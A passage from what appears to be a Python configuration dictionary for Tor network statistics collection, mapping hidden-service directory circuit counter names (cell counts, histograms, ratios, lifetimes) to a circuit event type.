'HSDirClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirClientFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDirClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirClientSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirServiceCircuitCount' : { CIRCUIT_EVENT },
'HSDirServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirServiceCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDirServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirServiceFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDirServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirServiceSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirTor2WebClientCircuitCount' : { CIRCUIT_EVENT },
'HSDirTor2WebClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirTor2WebClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirTor2WebClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirTor2WebClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirTor2WebClientCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirTor2WebClientCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirTor2WebClientFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDirTor2WebClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirTor2WebClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirTor2WebClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirTor2WebClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirTor2WebClientFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirTor2WebClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirTor2WebClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDirTor2WebClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirTor2WebClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirTor2WebClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirTor2WebClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirTor2WebClientSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirTor2WebClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceCircuitCount' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirMultiHopClientCircuitCount' : { CIRCUIT_EVENT },
'HSDirMultiHopClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopClientCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirMultiHopClientCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirMultiHopClientFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDirMultiHopClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopClientFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirMultiHopClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirMultiHopClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDirMultiHopClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopClientSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirMultiHopClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceCircuitCount' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2CircuitCount' : { CIRCUIT_EVENT },
'HSDir2CircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2CircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2CircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2CircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2CircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2CircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2FailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir2FailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2FailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2FailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2FailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2FailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2FailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2SuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir2SuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2SuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2SuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2SuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2SuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2SuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2ClientCircuitCount' : { CIRCUIT_EVENT },
'HSDir2ClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ClientCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2ClientCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2ClientFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir2ClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ClientFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2ClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2ClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir2ClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ClientSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2ClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2ServiceCircuitCount' : { CIRCUIT_EVENT },
'HSDir2ServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ServiceCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2ServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2ServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir2ServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ServiceFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2ServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2ServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir2ServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ServiceSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2ServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientCircuitCount' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceCircuitCount' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientCircuitCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceCircuitCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3CircuitCount' : { CIRCUIT_EVENT },
'HSDir3CircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3CircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3CircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3CircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3CircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3CircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3FailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir3FailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3FailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3FailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3FailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3FailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3FailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3SuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir3SuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3SuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3SuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3SuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3SuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3SuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3ClientCircuitCount' : { CIRCUIT_EVENT },
'HSDir3ClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ClientCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3ClientCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3ClientFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir3ClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ClientFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3ClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3ClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir3ClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ClientSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3ClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3ServiceCircuitCount' : { CIRCUIT_EVENT },
'HSDir3ServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ServiceCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3ServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3ServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir3ServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ServiceFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3ServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3ServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir3ServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ServiceSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3ServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientCircuitCount' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceCircuitCount' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
